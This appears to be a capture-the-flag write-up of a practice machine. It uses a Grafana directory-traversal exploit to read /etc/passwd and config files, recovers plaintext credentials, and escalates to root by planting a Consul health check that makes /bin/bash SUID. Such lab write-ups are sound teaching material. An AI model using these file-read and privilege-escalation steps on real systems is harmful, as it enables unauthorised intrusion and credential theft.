Skip to content



Let's start with a Nmap scan as always to see what we can do here:

└─$ sudo nmap --min-rate 1500 -p-
Starting Nmap 7.93 ( ) at 2022-11-16 13:31 EST
Nmap scan report for
Host is up (0.053s latency).
Not shown: 65531 closed tcp ports (reset)
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 26.65 seconds
└─$ sudo nmap -sC -sV -p22,80,3000,3306                                                           130 ⨯
Starting Nmap 7.93 ( ) at 2022-11-16 13:41 EST
Nmap scan report for
Host is up (0.049s latency).

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
|   256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_  256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ambassador Development Server
3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 16 Nov 2022 18:41:44 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 16 Nov 2022 18:41:13 GMT
|     Content-Length: 29
|     href="/login">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Expires: -1
|     Location: /login
|     Pragma: no-cache
|     Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: deny
|     X-Xss-Protection: 1; mode=block
|     Date: Wed, 16 Nov 2022 18:41:18 GMT
|_    Content-Length: 0
3306/tcp open  mysql   MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 11
|   Capabilities flags: 65535
|   Some Capabilities: ConnectWithDatabase, SupportsLoadDataLocal, IgnoreSpaceBeforeParenthesis, InteractiveClient, SwitchToSSLAfterHandshake, SupportsTransactions, FoundRows, Speaks41ProtocolOld, SupportsCompression, IgnoreSigpipes, Speaks41ProtocolNew, Support41Auth, LongPassword, ODBCClient, DontAllowDatabaseTableColumn, LongColumnFlag, SupportsAuthPlugins, SupportsMultipleResults, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: ZS4g*qicR0dA%\x03:\x15>\x066  
|_  Auth Plugin Name: caching_sha2_password

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 118.46 seconds

We found 2 webpages, a blog in port 80 and Grafana listening in port 3000. Then we have a MySQL database in port 3306 and SSH in port 22, I will try to focus the webpages first.

User access

Port 80

This page reveals important information. There is a post that explains that every new employee get access to a personal development server like the one we are attacking right now, the user for SSH is developer and the password is given by a user or group called DevOps.

Apart from that, not much here.

Grafana (Port 3000)

This is a Grafana application for monitoring. It is asking for login but I noticed that the version was v8.2.0. Checking for exploits I found that it is vulnerable to LFI and directory traversal (CVE-2021-43798):

└─$ searchsploit grafana      
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC)       | linux/dos/
Grafana 8.3.0 - Directory Traversal and Arbit | multiple/webapps/
---------------------------------------------- ---------------------------------
Shellcodes: No Results

Testing the exploit for Grafana v8.3.0 it worked like a charm:

└─$ python3 -H
Read file > /etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false

I read the file /etc/grafana/grafana.ini to get some juicy information:

# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false

# default admin user, created on startup
;admin_user = admin

# default admin password, can be changed before first start of grafana,  or in profile settings
admin_password = messageInABottle685427

We have credentials for Grafana now: admin:messageInABottle685427. Grafana has a datasource to get information from the database listening in port 3306, so maybe we can also get some extra information from it.

This datasource appears to be "Provisioned" according to Grafana so the information should be in a YAML file. The name of the datasource is mysql.yaml so, according to the documentation, this file is probably under /etc/grafana/provisioning/datasources/mysql.yaml:

└─$ python3 -H      
Read file > /etc/grafana/provisioning/datasources/mysql.yaml
apiVersion: 1

 - name: mysql.yaml 
   type: mysql
   host: localhost
   database: grafana
   user: grafana
   password: dontStandSoCloseToMe63221!
   editable: false

Nice! We have credentials for the MySQL server grafana:dontStandSoCloseToMe63221!. We could also get the Grafana Sqlite database and find this there if we were unable to find this YAML.

MySQL (Port 3306)

We can now connect to the database with mysql -h -u grafana -p and the password we got before, let's see what we can find:

MySQL [(none)]> select schema_name from information_schema.schemata;
| SCHEMA_NAME        |
| mysql              |
| information_schema |
| performance_schema |
| sys                |
| whackywidget       |
| grafana            |
6 rows in set (0.067 sec)

MySQL [(none)]> select table_name from information_schema.tables where table_schema="whackywidget";
| users      |
1 row in set (0.057 sec)

MySQL [(none)]> select column_name from information_schema.columns where table_name="users";
| COLUMN_NAME         |
| USER                |
| pass                |
| user                |
5 rows in set (0.066 sec)

MySQL [whackywidget]> select user,pass from users;
| user      | pass                                     |
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
1 row in set (0.052 sec)

Oh! Since the password is in base64, it is easy to get the credentials in plain text: developer:anEnglishManInNewYork027468. This credentials allow us to access the machine through SSH and also get the first flag.

Privilege escalation

After a while I found something interesting: /opt/my-app. Inside this directory, I can see what looks like an app called whackywidget (This explains the MySQL database name). Looking around, I can confirm that this application is using Django. The application is part of a Git repository so I started to check for juicy information in other commits and I found this:

developer@ambassador:/opt/my-app/whackywidget$ git diff c982db8eff6f10f8f3a7d802f79f2705e7a21b55
diff --git a/whackywidget/ b/whackywidget/
index 35c08f6..fc51ec0 100755
--- a/whackywidget/
+++ b/whackywidget/
@@ -1,4 +1,4 @@
 # We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running

-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD

Looks like they are using Consul in production for several things, with that token we should be able to interact with it according to the documentation:

developer@ambassador:/opt/my-app/whackywidget$ consul members --token bb03b43b-1d81-d62b-24b5-39540ee469b5
Node        Address         Status  Type    Build   Protocol  DC   Partition  Segment
ambassador  alive   server  1.13.2  2         dc1  default    <all>

I decided to extract the key store to check for passwords but nothing interesting in there:

developer@ambassador:/opt/my-app/whackywidget$ consul kv export --token bb03b43b-1d81-d62b-24b5-39540ee469b5
        "key": "test",
        "flags": 0,
        "value": "aGVsbG8="
        "key": "whackywidget/db/mysql_pw",
        "flags": 0,
        "value": ""

At this point you could say, man why focus on Consul? Well it is running as root so if we can get code execution we can easily escalate.

developer@ambassador:/opt/my-app/whackywidget$ ps -aux | grep consul
root        1091  0.3  3.8 794804 77876 ?        Ssl  Nov16   1:20 /usr/bin/consul agent -config-dir=/etc/consul.d/config.d -config-file=/etc/consul.d/consul.hcl

After researching a bit in the documentation I noticed that the configuration directory was writable by the developer group. This means that we can load custom configuration to the Consul agent to make it do cool stuff by just adding hcl or json files to the configuration directory.

developer@ambassador:/etc/consul.d$ ls -la
total 24
drwxr-xr-x   3 consul consul    4096 Sep 27 14:49 .
drwxr-xr-x 103 root   root      4096 Sep 27 14:49 ..
drwx-wx---   2 root   developer 4096 Sep 14 11:00 config.d
-rw-r--r--   1 consul consul       0 Feb 28  2022 consul.env
-rw-r--r--   1 consul consul    5303 Mar 14  2022 consul.hcl
-rw-r--r--   1 consul consul     160 Mar 15  2022 README

I tried to use the exec option in the Consul CLI but was not working. I found some information about it and looks like it require extra configuration but, even though I tried to replicate the configuration given, I was not able to use this option to execute code directly for some reason. Quickly I saw another thing that could be interesting, Consul let you register health checks and basically you can run any code you want as part of them. I wrote this check following the documentation and added it to /etc/consul.d/config.d/check.json:

  "check": {
    "id": "pwned",
    "name": "pwned",
    "args": [
      "chmod u+s /bin/bash"
    "interval": "5s",
    "timeout": "1s"

After that, I also created a little hcl file (/etc/consul.d/config.d/custom.hcl) with only one line in it:

enable_script_checks = true

The idea is to enable checks that use scripts, this is off by default so I added it just in case. With everything ready, I reloaded the configuration and after some seconds I was able to pwn the machine!

developer@ambassador:/etc/consul.d$ consul reload --token bb03b43b-1d81-d62b-24b5-39540ee469b5
Configuration reload triggered
developer@ambassador:/etc/consul.d$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
developer@ambassador:/etc/consul.d$ bash -p

As you can see, the malicious check run and tranformed /bin/bash in a SUID binary we can use to easily get full privileges in the machine.